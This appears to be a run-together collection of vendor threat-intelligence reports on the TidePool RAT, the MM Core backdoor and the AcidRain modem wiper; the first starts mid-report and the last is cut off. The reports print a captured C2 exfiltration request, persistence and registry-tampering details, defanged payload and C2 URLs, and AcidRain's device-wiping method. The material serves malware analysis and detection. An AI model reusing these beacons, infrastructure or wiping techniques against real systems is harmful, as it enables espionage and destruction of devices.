However, Unit 42 has recently discovered the actors have continued to evolve their custom malware arsenal.
Weve discovered a new malware family weve named TidePool.
It has strong behavioral ties to Ke3chang and is being used in an ongoing attack campaign against Indian embassy personnel worldwide.
This targeting is also consistent with previous attacker TTPs Ke3chang historically targeted the Ministry of Affairs, and also conducted several prior campaigns against India.
Though we dont have comprehensive targeting information, the spear phishing emails we found targeted several Indian embassies in different countries.
One decoy references an annual report filed by over 30 Indian embassies across the globe.
The sender addresses of the phishing emails spoof real people with ties to Indian embassies, adding legitimacy to the emails to prompt the recipients to open the attached file.
Also noteworthy, the actors are exploiting a relatively new vulnerability in their attacks with TidePool, which is detailed below.
In this report we will highlight the reuse of the code responsible for a variety of registry changes and command and control traffic over time as the Ke3chang actor has evolved their codebase to TidePool since the 2013 report.
Exploitation of CVE-2015-2545 The weaponized document sent in phishing emails triggers the vulnerability outlined in CVE-2015-2545, which was first made public in September 2015.
Unlike previously seen exploit carrier docs, this version comes packaged as an MHTML document which by default opens in Microsoft Word.
We have seen multiple waves of activity with similar exploit docs, including those referenced in our recent Spivy blog.
PwC recently released a great report analyzing the exploit documents themselves.
The samples we are covering are documented in the Windows User_A section of their report (the malware they refer to as Danti Downloader).
The TidePool Malware Family TidePool contains many capabilities common to most RATs.
It allows the attacker to read, write and delete files and folders, and run commands over named pipes.
TidePool gathers information about the victims computer, base64 encodes the data, and sends it to the Command and Control (C2) server via HTTP, which matches capabilities of the BS2005 malware family used by the Ke3chang actor The TidePool malware is housed in an MHTML document which exploits CVE-2015-2545.
The exploit code drops a DLL into C:\Documents and Settings\AllUsers\IEHelper\mshtml.dll This dropped DLL is the TidePool sample.
It also launches Internet Explorer as a subprocess of the svchost service.
For persistence, TidePool utilizes an ActiveSetup key, which will launch itself on boot with the following parameters: rundll32.exe C:\DOCUME1\ALLUSE1\IEHelper\mshtml.dll,,IEHelper The TidePool sample then sends victim computer information to the C2 server, as shown in Figure 1.
Once a connection is made, the sample behaves as a RAT, receiving commands from the C2.
Figure 1.
The Base64 encoded data contains information about the victims service pack level, the current user, andthe NETBIOS name of the victim system.
The Evolution From BS2005 to TidePool During our initial triage of the TidePool samples in AutoFocus, we noticed Windows Registry modifications that by themselves were not unique, but when viewed together were used by multiple malware families.
One of these families is the BS2005 malware family used by the Ke3chang actor.
This motivated us to dig deeper, since we had not seen any public reporting on them since 2013.
From this analysis, Unit 42 compared the code bases of the new malware family, and the BS2005 malware samples.
Based on our analysis we believe this new malware, which we are calling TidePool, is an evolution of the BS2005 malware family used by the Ke3chang actor.
Unit 42 has discovered 11 similar registry modifications that both TidePool and BS2005 employ.
The registry setting that TidePool and BS2005 focuses on is: Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IEHarden - 0 When the IEHarden Value is set to 0 it disables the Internet Explorer Enhanced Security configuration, which is designed to prevent the execution of scripts, ActiveX Controls, file downloads, and the Microsoft virtual machine for HTML content.
This is a technique common to both BS2005 and TidePool 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 POST http://goback.strangled.net:443/QCLDDMGXVXESLYT HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.
Accept-Language: en-us Content-Type: multipart/form-data boundary----_Part_4e67c6a7 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.1 SV1 .NET CLR 2.0.50727 .NET4.0C .NET4.0E) Host: goback.strangled.net Content-Length: 602 Proxy-Connection: Keep-Alive Pragma: no-cache ----_Part_4e67c6a7 Content-Disposition: form-data namem1.jpg Content-Type: application/octet-steam WAQAAEYBAABGAQAARgEAAAAAAAAAAAAAhv0OeukKAAAVAAAAHAEAAAUAAAABAAAAKAoAAAIAAABTAGUAcgB2AGkAYwBlACAAUABhAGMAawAgADMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAABAQACAAAAUkUJAAAAV0lOWFBSRVY1tQFpc3UFACkALAEA malware.
Below is the routine within TidePool that modifies the IEHarden registry settings.
The repetition, order, and uniqueness of the code base in this function allowed us to link TidePool back to older versions of BS2005 and Operation Ke3chang.
Figure 2.
Routine to modify the IEHarden Value linking TidePool to BS2005.
Code reuse overlap also allowed us to link the various interim malware iterations between Ke3chang and TidePool together.
Going over every single code overlap would be tiresome, so well highlight major functional similarities that allowed us to link TidePool to Operation Ke3chang.
A listing of similar hashes and their compile dates can be found in the IOC section at the end of this blog.
They are also divided into those that pre-date the Operation Ke3chang report and those that came after.
We compared 5 key samples that link TidePool to the original Operation Ke3chang malware.
In order of comparison and usage we looked at: BS2005 Operation Ke3chang sample 233bd004ad778b7fd816b80380c9c9bd2dba5b694863704ef37643255797b41f 2013 post Ke3chang 012fe5fa86340a90055f7ab71e1e9989db8e7bb7594cd9c8c737c3a6231bc8cc 2014 post Ke3chang 04db80d8da9cd927e7ee8a44bfa3b4a5a126b15d431cbe64a508d4c2e407ec05 2014 post Ke3chang eca724dd63cf7e98ff09094e05e4a79e9f8f2126af3a41ff5144929f8fede4b4 2015 Current TidePool 2252dcd1b6afacde3f94d9557811bb769c4f0af3cb7a48ffe068d31bb7c30e18 Starting with a known Operation Ke3chang BS2005 sample, we focus on the C2 obfuscation.
Figure 3 shows the routine for following 2 samples: 233bd004ad778b7fd816b80380c9c9bd2dba5b694863704ef37643255797b41f 012fe5fa86340a90055f7ab71e1e9989db8e7bb7594cd9c8c737c3a6231bc8cc Figure 3.
Comparing a BS2005 and post Ke3chang sample C2 obfuscation routine Not only do BS2005 and TidePool share repeating registry behaviors, they also use a similar code routine to obfuscate the C2.
Further analysis shows that they also share similar Base64 string handling.
This routine goes back even further to MyWeb malware samples, also associated with Operation Ke3chang.
Next we compared the codebase for setting registry keys.
The code reuse displayed in Figure 4 is the sequence that sets the IEHarden registry keys and other keys used throughout TidePool and Operation Ke3chang malware.
012fe5fa86340a90055f7ab71e1e9989db8e7bb7594cd9c8c737c3a6231bc8cc 04db80d8da9cd927e7ee8a44bfa3b4a5a126b15d431cbe64a508d4c2e407ec05 Figure 4.
Sequence that sets the IEHarden registry keys and other keys used in TidePool and Operation Ke3chang samples.
The code that handles URL beacon creation is shown in Figure 5.
These functions also displayed quite a bit of code reuse.
eca724dd63cf7e98ff09094e05e4a79e9f8f2126af3a41ff5144929f8fede4b4 012fe5fa86340a90055f7ab71e1e9989db8e7bb7594cd9c8c737c3a6231bc8cc Figure 5.
Comparing code blocks responsible for URL creation Finally, we compared the following two samples.
04db80d8da9cd927e7ee8a44bfa3b4a5a126b15d431cbe64a508d4c2e407ec05 2252dcd1b6afacde3f94d9557811bb769c4f0af3cb7a48ffe068d31bb7c30e18 These samples are quite similar when looking at the library functions used, but the most notable features they have in common are the timeline of behaviors executed.
Ke3chang and TidePool both modify the IEHarden registry key, as well as the following list of keys.
Setting these registry keys is unique to the Ke3chang and TidePool malware families.
HKCU\Software\Microsoft\Internet Explorer\Main\Check_Associations HKCU\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IEharden A Few Words On Attribution Attribution is an inexact process, however we have compiled several interesting findings which lend themselves to our conclusion that this activity and malware is related to the original Operation Ke3chang.
Strong behavioral overlap between the TidePool malware family and malware called BS2005 utilized by Operation Ke3chang Strong code reuse and overlap showing a branching and evolution of malware from BS2005 to TidePool.
Targeting and attack method matches historic Ke3chang targeting.
When binaries included resources, encoding was 0x04 (LANG_CHINESE) indicating the actors system is likely running an operating system and software with Chinese as the default display language.
Conclusion Despite going unreported on since 2013, Operation Ke3chang has not ceased operations and in fact continued developing its malware.
Unit 42 was able to track the evolution of Operation Ke3changs tools by observing unique behavioral quirks common throughout the malwares lineage.
By pivoting on these behaviors in AutoFocus, we were able to assess a relationship between these families dating back to at least 2012 and the creation of TidePool, a new malware family continuing in Ke3changs custom malware footsteps.
While we cant know all of the groups attacks using TidePool or older malware, we have uncovered its use against Indian Embassies, which was also documented in the 2013 report, indicating this is likely a high priority target as it has continued over multiple years.
Customers can utilize the Ke3changResurfaces AutoFocus tag to examine the samples discussed in this post.
IPS coverage for TidePool is provided by TID 14588.
TidePool IOCs Phishing emails: 4d5e0eddcd014c63123f6a46af7e53b5ac25a7ff7de86f56277fe39bff32c7b5 1896d190ed5c5d04d74f8c2bfe70434f472b43441be824e81a31b7257b717e51 de5060b7e9aaaeb8d24153fe35b77c27c95dadda5a5e727d99f407c8703db649 Weaponized document attachments: 785e8a39eb66e872ff5abee48b7226e99bed2e12bc0f68fc430145a00fe523db eea3f90db41f872da8ed542b37948656b1fb93b12a266e8de82c6c668e60e9fc TidePool Dropper: 38f2c86041e0446730479cdb9c530298c0c4936722975c4e7446544fd6dcac9f TidePool dlls: 67c4e8ab0f12fae7b4aeb66f7e59e286bd98d3a77e5a291e8d58b3cfbc1514ed 2252dcd1b6afacde3f94d9557811bb769c4f0af3cb7a48ffe068d31bb7c30e18 9d0a47bdf00f7bd332ddd4cf8d95dd11ebbb945dda3d72aac512512b48ad93ba C2 domain: goback.strangled[.
]net TidePool sample groupings Group 1: 3/1/2012 - 3/22/2012 71b548e09fd51250356111f394e5fc64ac54d5a07d9bc57852315484c2046093 (BS2005) 39fdcdf019c0fca350ec5bd3de31b6649456993b3f9642f966d610e0190f9297 (BS2005) bfa5d062bfc1739e1fcfacefd3a1f95b40104c91201efc618804b6eb9e30c018 4e38848fabd0cb99a8b161f7f4972c080ce5990016212330d7bfbe08ab49526a d097a1d5f86b3a9585cca42a7785b0ff0d50cd1b61a56c811d854f5f02909a5d 25a3b374894cacd922e7ff870bb19c84a9abfd69405dded13c3a6ceb5abe4d27 Group 2: 6/1/2012 - 7/10/2012 12cc0fdc4f80942f0ba9039a22e701838332435883fa62d0cefd3992867a9e88(BS2005) a4fae981b687fe230364508a3324cf6e6daa45ecddd6b7c7b532cdc980679076(BS2005) c1a83a9600d69c91c19207a8ee16347202d50873b6dc4613ba4d6a6059610fa1 Group 3: 8/28/2012 - 11/19/2012 023e8f5922b7b0fcfe86f9196ae82a2abbc6f047c505733c4b0a732caf30e966(BS2005) 064051e462990b0a530b7bbd5e46b68904a264caee9d825e54245d8c854e7a8a(BS2005) 07aa6f24cec12b3780ebaba2ca756498e3110243ca82dca018b02bd099da36bb(BS2005) cdb8a15ededa8b4dee4e9b04a00b10bf4b6504b9a05a25ecae0b0aca8df01ff9(BS2005) f84a847c0086c92d7f90249be07bbf2602fe97488e2fef8d3e7285384c41b54e(BS2005) 89ccea68f76afa99d4b5d00d35b6d2f229c4af914fbb2763e37f5f87dcf2f7bf be378ad63b61b03bdc6fd3ef3b81d3c2d189602a24a960118e074d7aff26c7bd c5d274418532231a0a225fc1a659dd034f38fde051840f8ed39e0b960d84c056 Group 4: 4/18/2013 - 11/5/2013 233bd004ad778b7fd816b80380c9c9bd2dba5b694863704ef37643255797b41f(BS2005) 3795fd3e1fe4eb8a56d611d65797e3947acb209ddb2b65551bf067d8e1fa1945(BS2005) 6d744f8a79e0e937899dbc90b933226e814fa226695a7f0953e26a5b65838c89(BS2005) b344b9362ac274ca3547810c178911881ccb44b81847071fa842ffc8edfcd6ec(BS2005) e72c5703391d4b23fcd6e1d4b8fd18fe2a6d74d05638f1c27d70659fbf2dcc58 (BS2005) 690c4f474553a5da5b90fb43eab5db24f1f2086e6d6fd75105b54e616c490f3f d64cd5b4caf36d00b255fdaccb542b33b3a7d12aef9939e35fdb1c5f06c2d69c 0ec913017c0adc255f451e8f38956cfc1877e1c3830e528b0eb38964e7dd00ff Post Fireyes Ke3chang blog Group 5: 5/2/2013 - 10/23/2013 012fe5fa86340a90055f7ab71e1e9989db8e7bb7594cd9c8c737c3a6231bc8cc 0f88602a11963818b73a52f00a4f670a0bf5111b49549aa13682b66dd9895155 2a454d9577d75ac76f5acf0082a6dca37be41f7c74e0a4dbd41d8a9a75120f5c 66d9001b6107e16cdb4275672e8dd21b3263481a56f461428909a7c265c67851 863ee162a18d429664443ce5c88a21fd629e22ad739191c7c6a9237f64cdd2f3 8b3ef6112f833d6d232864cf66b57a0f513e0663ee118f8d33d93ad8651af330 904e31e4ab030cba00b06216c81252f6ee189a2d044eca19d2c0dc41508512f3 Group 6: 03/09/2014 F3c39376aa93b6d17903f1f3d6a557eb91a977dae19b4358ef57e686cd52cc03 7c17ccdd8eba3791773de8bc05ab4854421bc3f2554c7ded00065c10698300fe Group 7: 08/26/2014 eca724dd63cf7e98ff09094e05e4a79e9f8f2126af3a41ff5144929f8fede4b4 Group 8: 04/09/2014 04db80d8da9cd927e7ee8a44bfa3b4a5a126b15d431cbe64a508d4c2e407ec05 Group 9: 3/11/2015 6eb3528436c8005cfba21e88f498f7f9e3cf40540d774ab1819cddf352c5823d Group 10: 08/04/2015 6bcf242371315a895298dbe1cdec73805b463c13f9ce8556138fa4fa0a3ad242 Group 11: 12/28/2015 2252dcd1b6afacde3f94d9557811bb769c4f0af3cb7a48ffe068d31bb7c30e18 38f2c86041e0446730479cdb9c530298c0c4936722975c4e7446544fd6dcac9f 67c4e8ab0f12fae7b4aeb66f7e59e286bd98d3a77e5a291e8d58b3cfbc1514ed 9d0a47bdf00f7bd332ddd4cf8d95dd11ebbb945dda3d72aac512512b48ad93ba
MM Core In-Memory Backdoor Returns as BigBoss and SillyGoose blogs.forcepoint.com/security-labs/mm-core-memory-backdoor-returns-bigboss-and-sillygoose Introduction by Nicholas Griffin and Roland Dela Paz In October 2016 Forcepoint Security Labs discovered new versions of the MM Core backdoor being used in targeted attacks.
Also known as BaneChant, MM Core is a file-less APT which is executed in memory by a downloader component.
It was first reported in 2013 under the version number 2.0-LNK where it used the tag BaneChant in its command-and-control (C2) network request.
A second version 2.1-LNK with the network tag StrangeLove was discovered shortly after.
In this blog we will detail our discovery of the next two versions of MM Core, namely BigBoss (2.2-LNK) and SillyGoose (2.3-LNK).
Attacks using BigBoss appear likely to have occurred since mid-2015, whereas SillyGoose appears to have been distributed since September 2016.
Both versions still appear to be active.
Targeted Regions and Industries In 2013 MM Core was reported to target Middle Eastern and Central Asian countries.
Our own telemetry suggests that both Africa and the United States have also been recent targets.
The following list shows the targeted industries we have observed: News  Media Government - Defence Oil  Gas Manufacturing Telecommunications MM Core Capabilities An overview of MM Core backdoors functionalities is as follows: Send infected systems computer name, windows version, system time, running processes, TCP/IP configuration, and top level directory listings for drives C to H Download and execute file Download and execute file in memory Update itself Uninstall itself Infection Method Previously the MM Core downloader component was downloaded and executed through shellcode by a DOC file exploiting CVE 2012-0158.
However, the new DOC exploit we found exploits a more recent CVE-2015-1641 Microsoft Word vulnerability which it uses to extract embedded malware.
The extracted malware is then executed by leveraging a DLL side-loading vulnerability.
1/6 https://blogs.forcepoint.com/security-labs/mm-core-memory-backdoor-returns-bigboss-and-sillygoose The DOC file we analysed (SHA1 d336b8424a65f5c0b83328aa89089c2e4ddbcf72) was named US pak track ii naval dialogues.doc.
This document exploits CVE-2015-1641 and executes shellcode which drops a legitimate Microsoft executable along with a trojanised DLL named ChoiceGuard.dll.
The shellcode then executes the Microsoft executable, causing the malicious DLL to automatically be loaded into the file when it is run - hence the term side-loading.
The DLL downloads and executes the file-less MM Core backdoor in memory, which uses steganography to hide itself inside a JPEG file.
The JPEG contains code to decrypt itself using the Shikata ga nai algorithm.
Once decrypted and executed in memory, the MM Core backdoor will extract and install an embedded downloader when it is first run and add it to Windows start-up for persistence.
This downloader, which is similar to the first trojanised DLL, is then executed and will download the MM Core JPEG once again, executing it in memory like before.
This time MM Core will conduct its backdoor routine which will send off system information and await further commands.
An overview of this infection process is as follows: Valid Certificates Some of the downloader components we found (i.e.
ChoiceGuard.dll) are signed with a valid authenticode certificate from Russian organisation Bor Port: 2/6 https://www.rapid7.com/db/modules/encoder/x86/shikata_ga_nai We suspect that this may be a stolen certificate as it is very unlikely that a malware author would sign malware with their own organisations certificate.
Updated Malware Artefacts Newer versions of MM Core use updated version tags, mutexes, and filenames as compared with their 2013 counterparts.
These are listed in the table below: Evasion Tactics The MM Core actors have made significant efforts to prevent security researchers from tracking their infrastructure.
The first two versions of MM Core back in 2013 used spoofed registrant information in order to register the C2 domains, whereas the new campaigns use C2s registered using a registrant privacy protection service.
This makes it more difficult to track the actors infrastructure using WHOIS data.
3/6 The actors have also registered their domains on BigRock, a popular web hosting company, in order to blend in with the noise of legitimate sites that are hosted on the same infrastructure.
Forcepoint Protection Statement Forcepoint customers are protected against this threat via TRITON ACE at the following stages of attack: Stage 5 (Dropper File) - The malware components are prevented from being downloaded and/or executed.
Stage 6 (Call Home) - Network traffic used by the downloaders and MM Core is identified and blocked.
Conclusion MM Core is an active threat targeting multiple countries and high profile industries.
It is interesting to note that even though MM Cores version has incremented twice, the core backdoor code has remained almost the same apart from the new file and mutex names.
Largely this is perhaps due to the file-less nature of its payload, which may also explain why the majority of the updates were in the delivery mechanism.
At the same time this demonstrates that the attackers behind MM Core very well know what they are doing, updating the malware just enough to keep their operation under the radar after all these years.
On the other hand, while the volume of related MM Core samples remain low, we noticed that the MM Core downloader shares code, techniques and network infrastructure with a trojan called Gratem, as well as sharing the same authenticode certificate for recent samples.
Gratem is a more active downloader malware family which has been distributed since at least 2014.
Ultimately this suggests that MM Core may be a part of a larger operation that is yet to be fully uncovered.
Indicators of Compromise Documents d336b8424a65f5c0b83328aa89089c2e4ddbcf72 (US pak track ii naval dialogues.doc) Dropper/Downloader Samples (SHA1) f94bada2e3ef2461f9f9b291aac8ffbf81bf46ab ef59b4ffc8a92a5a49308ba98cb38949f74774f1 1cf86d87140f13bf88ede74654e01853bae2413c 415ad0a84fe7ae5b88a68b8c97d2d27de5b3aed2 e8bfa4ed85aac19ab2e77e2b6dfe77252288d89b f94bada2e3ef2461f9f9b291aac8ffbf81bf46ab 83e7b2d6ea775c8eb1f6cfefb32df754609a8129 b931d3988eb37491506504990cae3081208e1a66 7031f4be6ced5241ae0dd4315d66a261f654dbd6 ab53485990ac503fb9c440ab469771fac661f3cc b8e6f570e02d105df2d78698de12ae80d66c54a2 188776d098f61fa2c3b482b2ace202caee18b411 e0ed40ec0196543814b00fd0aac7218f23de5ec5 5498bb49083289dfc2557a7c205aed7f8b97b2a8 ce18064f675348dd327569bd50528286929bc37a 3a8b7ce642a5b4d1147de227249ecb6a89cbd2d3 4/6 21c1904477ceb8d4d26ac9306e844b4ba0af1b43 f89a81c51e67c0bd3fc738bf927cd7cc95b05ea6 MM Core Unpacked DLL Samples (SHA1) 13b25ba2b139b9f45e21697ae00cf1b452eeeff5 c58aac5567df7676c2b08e1235cd70daec3023e8 4372bb675827922280e8de87a78bf61a6a3e7e4d 08bfdefef8a1fb1ea6f292b1ed7d709fbbc2c602 Related Gratem Samples (SHA1) 673f315388d9c3e47adc280da1ff8b85a0893525 f7372222ec3e56d384e7ca2650eb39c0f420bc88 Dropper/Downloader Payload Locations hxxp://davidjone[.
]net/huan/normaldot.exe MM Core Payload Locations hxxp://mockingbird.no-ip[.
]org/plugins/xim/top.jpg hxxp://presspublishing24[.
]net/plugins/xim/top.jpg hxxp://ichoose.zapto[.
]org/plugins/cc/me.jpg hxxp://presspublishing24[.
]net/plugins/cc/me.jpg hxxp://waterlily.ddns[.
]net/plugins/slm/pogo.jpg hxxp://presspublishing24[.
]net/plugins/slm/pogo.jpg hxxp://nayanew1.no-ip[.
]org/plugins/xim/top.jpg hxxp://davidjone[.
]net/plugins/xim/top.jpg hxxp://hawahawa123.no-ip[.
]org/plugins/xim/logo.jpg hxxp://davidjone[.
]net/plugins/xim/logo.jpg MM Core C2s hxxp://presspublishing24[.
]net/plugins/cc/mik.php hxxp://presspublishing24[.
]net/plugins/slm/log.php hxxp://presspublishing24[.
]net/plugins/xim/trail.php Gratem Second Stage Payload Locations hxxp://adnetwork33.redirectme[.
]net/wp-content/themes/booswrap/layers.png hxxp://network-resources[.
]net/wp-content/themes/booswrap/layers.png hxxp://adworks.webhop[.
]me/wp-content/themes/bmw/s6.png hxxp://adrev22[.
]ddns.net/network/superads/logo.dat hxxp://davidjone[.
]net/network/superads/logo.dat 5/6 6/6 MM Core In-Memory Backdoor Returns as BigBoss and SillyGoose Introduction Targeted Regions and Industries MM Core Capabilities Infection Method Valid Certificates Updated Malware Artefacts Evasion Tactics Forcepoint Protection Statement Forcepoint customers are protected against this threat via TRITON ACE at the following stages of attack: Conclusion Indicators of Compromise Documents Dropper/Downloader Samples (SHA1) MM Core Unpacked DLL Samples (SHA1) Related Gratem Samples (SHA1) Dropper/Downloader Payload Locations MM Core Payload Locations MM Core C2s Gratem Second Stage Payload Locations
1/12 Juan Andrs Guerrero-Saade AcidRain  A Modem Wiper Rains Down on Europe sentinelone.com/labs/acidrain-a-modem-wiper-rains-down-on-europe By Juan Andres Guerrero-Saade (juanandres_gs) and Max van Amerongen (maxpl0it) Executive Summary On Thursday, February 24th, 2022, a cyber attack rendered Viasat KA-SAT modems inoperable in Ukraine.
Spillover from this attack rendered 5,800 Enercon wind turbines in Germany unable to communicate for remote monitoring or control.
Viasats statement on Wednesday, March 30th, 2022 provides a somewhat plausible but incomplete description of the attack.
SentinelLabs researchers discovered new malware that we named AcidRain.
AcidRain is an ELF MIPS malware designed to wipe modems and routers.
We assess with medium-confidence that there are developmental similarities between AcidRain and a VPNFilter stage 3 destructive plugin.
In 2018, the FBI and Department of Justice attributed the VPNFilter campaign to the Russian government AcidRain is the 7th wiper malware associated with the Russian invasion of Ukraine.
Update: In a statement disseminated to journalists, Viasat confirmed the use of the AcidRain wiper in an attack against their modems.
Context The Russian invasion of Ukraine has included a wealth of cyber operations that have tested our collective assumptions about the role that cyber plays in modern warfare.
Some commentators have voiced a bizarre disappointment at the lack of cyber while those at the coalface are overwhelmed by the abundance of cyber operations accompanying conventional warfare.
From the beginning of 2022, we have dealt with six different strains of wiper malware targeting Ukraine: WhisperKill, WhisperGate, HermeticWiper, IsaacWiper, CaddyWiper, and DoubleZero.
These attacks are notable on their own.
But theres been an elephant in the room by way of the rumored satellite modem hack.
This particular attack goes beyond Ukraine.
We first became aware of an issue with Viasat KA-SAT routers due to a reported outage of 5,800 Enercon wind turbines in Germany.
To clarify, the wind turbines themselves were not rendered inoperable but remote monitoring and control of the wind turbines became unavailable due to issues with satellite communications.
The timing coincided with the Russian invasion of Ukraine and suspicions arose that an attempt to take out Ukrainian https://www.sentinelone.com/labs/acidrain-a-modem-wiper-rains-down-on-europe/ https://twitter.com/juanandres_gs https://twitter.com/maxpl0it https://twitter.com/zackwhittaker/status/1509601023047970820?s20tY0xOUSXVK1AIbaBGXDsnLQ https://www.washingtonpost.com/politics/2022/03/07/putins-invasion-ukraine-didnt-rely-cyber-warfare-heres-why/ https://www.nytimes.com/2022/03/18/opinion/cyberwar-ukraine-russia.html https://www.sentinelone.com/labs/hermetic-wiper-ukraine-under-attack/ https://www.reuters.com/business/energy/satellite-outage-knocks-out-control-enercon-wind-turbines-2022-02-28/ 2/12 military command-and-control capabilities by hindering satellite connectivity spilled over to affect German critical infrastructure.
No technical details became available technical speculation has been rampant.
On Wednesday, March 30th, 2022, Viasat finally released a statement stating that the attack took place in two phases: First, a denial of service attack coming from several SurfBeam2 and SurfBeam2 modems and [other on-prem equipment] physically located within Ukraine that temporarily knocked KA-SAT modems offline.
Then, the gradual disappearance of modems from the Viasat service.
The actual service provider is in the midst of a complex arrangement where Eutalsat provides the service, but its administered by an Italian company called Skylogic as part of a transition plan.
The Viasat Explanation At the time of writing, Viasat has not provided any technical indicators nor an incident response report.
They did provide a general sense of the attack chain with conclusions that are difficult to reconcile.
Viasat reports that the attackers exploited a misconfigured VPN appliance, gained access to the trust management segment of the KA-SAT network, moved laterally, then used their access to execute legitimate, targeted management commands on a large number of residential modems simultaneously.
Viasat goes on to add that these destructive commands overwrote key data in flash memory on the modems, rendering the modems unable to access the network, but not permanently unusable.
It remains unclear how legitimate commands could have such a disruptive effect on the modems.
Scalable disruption is more plausibly achieved by pushing an update, script, or executable.
Its also hard to envision how legitimate commands would enable either the DoS effects or render the devices unusable but not permanently bricked.
In effect, the preliminary Viasat incident report posits the following requirements: 1.
Could be pushed via the KA-SAT management segment onto modems en masse 2.
Would overwrite key data in the modems flash memory 3.
Render the devices unusable, in need of a factory reset or replacement but not permanently unusable.
With those requirements in mind, we postulate an alternative hypothesis: The threat actor used the KA-SAT management mechanism in a supply-chain attack to push a wiper designed for modems and routers.
A wiper for this kind of device would overwrite key data in the modems flash memory, rendering it inoperable and in need of reflashing or replacing.
Subsequent to this post begin published, Viasat confirmed to journalists that our analysis was consistent with their reports.
https://www.reversemode.com/2022/03/satcom-terminals-under-attack-in-europe.html https://www.viasat.com/about/newsroom/blog/ka-sat-network-cyber-attack-overview/ https://twitter.com/zackwhittaker/status/1509601023047970820?s20tY0xOUSXVK1AIbaBGXDsnLQ 3/12 Viasat told BleepingComputer that The analysis in the SentinelLabs report regarding the ukrop binary is consistent with the facts in our report  specifically, SentinelLabs identifies the destructive executable that was run on the modems using a legitimate management command as Viasat previously described.
The AcidRain Wiper On Tuesday, March 15th, 2022, a suspicious upload caught our attention.
A MIPS ELF binary was uploaded to VirusTotal from Italy with the name ukrop.
We didnt know how to parse the name accurately.
Possible interpretations include a shorthand for ukraine operation, the acronym for the Ukrainian Association of Patriots, or a Russian ethnic slur for Ukrainians .
Only the incident responders in the Viasat case could say definitively whether this was in fact the malware used in this particular incident.
We posit its use as a fitting hypothesis and will describe its functionality, quirky development traits, and possible overlaps with previous Russian operations in need of further research.
Technical Overview SHA256 9b4dfaca873961174ba935fddaf696145afe7bbf5734509f95feb54f3584fd9a SHA1 86906b140b019fdedaaba73948d0c8f96a6b1b42 MD5 ecbe1b1e30a1f4bffaf1d374014c877f Name ukrop https://www.bleepingcomputer.com/news/security/viasat-confirms-satellite-modems-were-wiped-with-acidrain-malware/ https://en.wikipedia.org/wiki/Ukrop::textUkrop20(Russian3A20D0A3D0BAD180D0BED0BF3B20literally,the20Russian20word20for20Ukrainians.
4/12 Magic ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped First Seen 2022-03-15 15:08:02 UTC AcidRains functionality is relatively straightforward and takes a bruteforce attempt that possibly signifies that the attackers were either unfamiliar with the particulars of the target firmware or wanted the tool to remain generic and reusable.
The binary performs an in-depth wipe of the filesystem and various known storage device files.
If the code is running as root, AcidRain performs an initial recursive overwrite and delete of non-standard files in the filesystem.
Recursively delete files in nonstandard folders 5/12 Following this, it attempts to destroy the data in the following storage device files: Targeted Device(s) Description /dev/sd A generic block device /dev/mtdblock Flash memory (common in routers and IoT devices) /dev/block/mtdblock Another potential way of accessing flash memory /dev/mtd The device file for flash memory that supports fileops /dev/mmcblk For SD/MMC cards /dev/block/mmcblk Another potential way of accessing SD/MMC cards /dev/loop Virtual block devices This wiper iterates over all possible device file identifiers (e.g., mtdblock0  mtdblock99), opens the device file, and either overwrites it with up to 0x40000 bytes of data or (in the case of the /dev/mtd device file) uses the following IOCTLS to erase it: MEMGETINFO, MEMUNLOCK, MEMERASE, and MEMWRITEOOB.
In order to make sure that these writes have been committed, the developers run an fsync  syscall.
The code that generates the malicious data used to overwrite storage When the overwriting method is used instead of the IOCTLs, it copies from a memory region initialized as an array of 4-byte integers starting at 0xffffffff  and decrementing at each index.
This matches what others had seen after the exploit had taken place.
https://twitter.com/reversemode/status/1509467387954962432 6/12 Side-by-side comparison of a Surfbeam2 modem pre- and post-attack The code for both erasure methods can be seen below: 7/12 Mechanisms to erase devices: write 0x40000 (left) or use MEM IOCTLS (right) Once the various wiping processes are complete, the device is rebooted.
8/12 Redundant attempts to reboot the device This results in the device being rendered inoperable.
An Interesting Oddity Despite what the Ukraine invasion has taught us, wiper malware is relatively rare.
More so wiper malware aimed at routers, modems, or IoT devices.
The most notable case is VPNFilter, a modular malware aimed at SOHO routers and QNAP storage devices, discovered by Talos.
This was followed by an FBI indictment attributing the operation to Russia (APT28, in particular).
More recently, the NSA and CISA attributed VPNFilter to Sandworm (a different threat actor attributed to the same organization, the Russian GRU) as the U.K.s National Cyber Security Centre (NCSC) described VPNFilters successor, Cyclops Blink.
https://blog.talosintelligence.com/2018/05/VPNFilter.html https://www.justice.gov/opa/pr/justice-department-announces-actions-disrupt-advanced-persistent-threat-28-botnet-infected https://www.ncsc.gov.uk/files/Cyclops-Blink-Malware-Analysis-Report.pdf 9/12 VPNFilter included an impressive array of functionality in the form of multi-stage plugins selectively deployed to the infected devices.
The functionality ranges from credential theft to monitoring Modbus SCADA protocols.
Among its many plugins, it also included functionality to wipe and brick devices as well as DDoS a target.
The reason we bring up the specter of VPNFilter is not because of its superficial similarities to AcidRain but rather because of an interesting (but inconclusive) code overlap between a specific VPNFilter plugin and AcidRain.
